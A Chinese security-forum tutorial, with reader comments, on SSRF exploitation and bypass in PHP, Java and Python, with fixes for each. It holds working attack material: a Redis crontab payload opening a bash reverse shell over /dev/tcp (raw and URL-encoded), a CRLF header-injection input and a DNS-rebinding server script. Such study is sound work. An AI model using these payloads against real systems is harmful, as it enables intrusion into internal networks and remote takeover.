SSRF漏洞(原理&绕过姿势)

2017-07-15 03:54:08 26 3288


[+] Author: Hope
[+] Team: 希望Team

0x00 前言
文章不足之处,望多指正。

0x01 概述

SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1)        扫描内网(主机信息收集,Web应用指纹识别)
2)        根据所识别应用发送构造的Payload进行攻击
3)        Denial of service

0x02 漏洞利用

a)      SSRF in PHP

1.        环境搭建

<?PHP
        $URL = $_GET['URL'];
        $CH = CURL_INIT();
        CURL_SETOPT($CH, CURLOPT_URL, $URL);
        CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
        CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
        CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
        // 允许302跳转
        CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
        $RES = CURL_EXEC($CH);
        // 设置CONTENT-TYPE
        HEADER('CONTENT-TYPE: IMAGE/PNG');
        CURL_CLOSE($CH) ;
        //返回响应
        ECHO $RES;
?>


方便大家更直观了解,上述代码用来模拟ssrf,使用curl发起网络请求然后返回客户端,这里我请求加载图片



2.        利用方式

一般发起网络请求中会使用libcurl库,来看下它所支持的协议




除了http/https,还有一些可利用的协议如下
        DICT



除了泄露安装软件版本信息,还可以查看端口,操作内网redis服务等


        File



        Gopher
万能协议(利用Gopher攻击Redis、攻击Fastcgi 等

        FTP(S)/SMB(S)
匿名访问及爆破

        Tftp
UDP协议  发送UDP数据包

        Telnet
SSH/Telnet匿名访问及爆破




3.        总结
file_get_contents()
fsockopen()
curl_exec()

以上三个函数使用不当会造成SSRF漏洞

大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议


修复方案:
•        限制协议为HTTP、HTTPS
•        禁止30x跳转
•        设置URL白名单或者限制内网IP

需要注意的是,回显是能否成功利用的重要的条件,在某些场景协议限定为HTTP模式且没有回显,利用
会相对复杂了。

b)        SSRF in Java
1.        环境搭建



编写脚本扫描内网开放端口的主机



通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问

构造脚本写入 目录‘/etc/crontab‘
```
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
```

进行url编码:
```
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```

反弹shell




2.        利用方式
网络请求支持的协议如下
http,https,file,ftp,mailto,jar,netdoc
对比php的ssrf,java这块利用相对局限,

3.        总结

以下几种类引用不当会造成SSRF
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,
修复方案:
•        限制协议为HTTP、HTTPS
•        不用限制302重定向
•        设置URL白名单或者限制内网IP

c)        SSRF in Python
1.        环境搭建
HTTP Header Injection in Python urllib  ,
当使用了Python 的urllib库,请求url为用户可控时,就可能存在ssrf漏洞,且可以通过漏洞python urllib http头注入实现对内网未授权仿问的redis 服务器getshell
Python 测试脚本代码:test.py
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
测试一下通过http头注入来向redis写入普通的文本:

./test.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo


GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

2.        漏洞利用
通过Redis的通讯协议来突破空格的限制:(具体利用参考链接下方
3.        总结
修复方案:
1.        解析目标URL,获取其Host
2.        解析Host,获取Host指向的IP地址
3.        检查IP地址是否为内网IP
4.        请求URL
5.        如果有跳转,拿出跳转URL,执行1

0x03 挖掘漏洞
对外发起网络请求的地方都可能存在SSRF漏洞,列举
图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源
文件处理,编码处理, 属性信息处理,
        Ffpmg
        ImageMaic
        
数据库内置功能
        PostgreSQL
        MongoDB
        CouchDB



0x04 绕过技巧
@
添加端口号
短网址绕过
指向任意IP的域名xip.io
10.0.0.1.xip.io   resolves to   10.0.0.1
www.10.0.0.1.xip.io   resolves to   10.0.0.1
mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1
IP限制绕过
十进制转换 八进制转换 十六进制转换  不同进制组合转换
协议限制绕过
栗子
当url协议限定只为http(s)时,可以利用follow redirect 特性
构造302跳转服务,
结合dict:// file:// gopher://

DNS rebinding
DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等,,,这里介绍三种方法
1.        特定域名实现TTL=0
2.        域名绑定两条A记录




1/4的概率,当第一次解析为外网ip,第二次解析为内网ip,就会成功。
3.        自建DNS服务器
步骤如下:添加一条ns记录和一条a记录




Ns记录表示这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,
A记录表示ns.h0pe.site位置在ip地址xxx.xxx.xxx.xxx上
在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip="104.160.43.154"
        else:
            ip="171.18.0.2"

        if name not in record:
            record[name]=0
        record[name]+=1

        print name+" ===> "+ip

        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()



if __name__ == '__main__':
    raise SystemExit(main())
Root 权限运行,

0x05参考

http://blog.safebuff.com/2016/07/03/SSRF-Tips/
http://wavr.feei.cn/SSRF/
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
http://bendawang.site/article/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93
https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2
https://security.tencent.com/index.php/blog/msg/106

TCV=1


PS:有没有在郑州工作的表哥,公司里招不招暑期实习生?有的话可以pm下,感谢

关于作者

评论26次

要评论?请先  登录  或  注册
  • 26楼
    2017-7-28 01:04
    v5est0r

    好文。楼主的docker镜像能提供吗,演示用到。

    1

    抱歉参考链接忘贴了,用的是p神的vulhub https://github.com/phith0n/vulhub

  • 25楼
    2017-7-27 15:06

    好文。楼主的docker镜像能提供吗,演示用到。

  • 24楼
    2017-7-24 23:09

    学习啦!!!Python是个好东西啊

  • 23楼
    2017-7-24 14:42

    干货满满啊,学习了不少新东西

  • 22楼
    2017-7-22 10:39

    基本没挖过ssrf的,不过遇到过,仅仅停留在http层面上

  • 21楼
    2017-7-21 16:01

    没玩过!学习了。谢谢

  • 20楼
    2017-7-21 13:27

    get了,虽然ssrf的几率只有大厂有,小厂很少见,在配合ssrf+getshell就很不错了

  • 19楼
    2017-7-21 10:39

    学习了,一直没利用过ssrf

  • 18楼
    2017-7-17 10:43

    之前只知道http、https、file三个协议,楼主总结的比较全,可以的 学习了

  • 17楼
    2017-7-17 09:07

    可以的,条理很清楚。能有实际的例子最好,毕竟这类型的还是比较少遇到。可能我专注的不是这个吧。

  • 16楼
    2017-7-17 02:41

    很基础,文章排版大赞

  • 15楼
    2017-7-16 12:58

    非常的精彩分析的非常详细

  • 14楼
    2017-7-16 11:31
    Xman21

    写的很棒啊,py文件能不能分享啊

    1

    你说哪个?dns rebinding ?现在已经见人写了自动化脚本了,你可以参考下:https://github.com/Tr3jer/dnsAutoRebinding

  • 13楼
    2017-7-16 11:20
    LWTFQ

    可以把市面上的ssrf总结到一篇帖子上了

    1

    xxe中的ssrf忘提了。表哥来补充点

  • 12楼
    2017-7-16 11:19
    Aimuer

    请教下最新的ffmpeg那个洞,怎么ssrf,之前本地测试时候没成功,只可以读文件

    1

    上个月出的那个洞吗?那个可以文件读取,应该没有ssrf漏洞的,去年的那个是有ssrf漏洞,然后结合file协议来文件读取

  • 11楼
    2017-7-16 10:03

    写的很棒啊,py文件能不能分享啊

  • 10楼
    2017-7-15 22:42

    可以把市面上的ssrf总结到一篇帖子上了

  • 9楼
    2017-7-15 22:34

    请教下最新的ffmpeg那个洞,怎么ssrf,之前本地测试时候没成功,只可以读文件

  • 8楼
    2017-7-15 21:00

    楼主也是河南的啊?求处 py

  • 7楼
    2017-7-15 18:11

    很齐全的ssrf利用呀。。。 好文章。。。没有回显的时候用 也补上了, 用这个 http://ceye.io/record/index 就不用自己搭建了吧。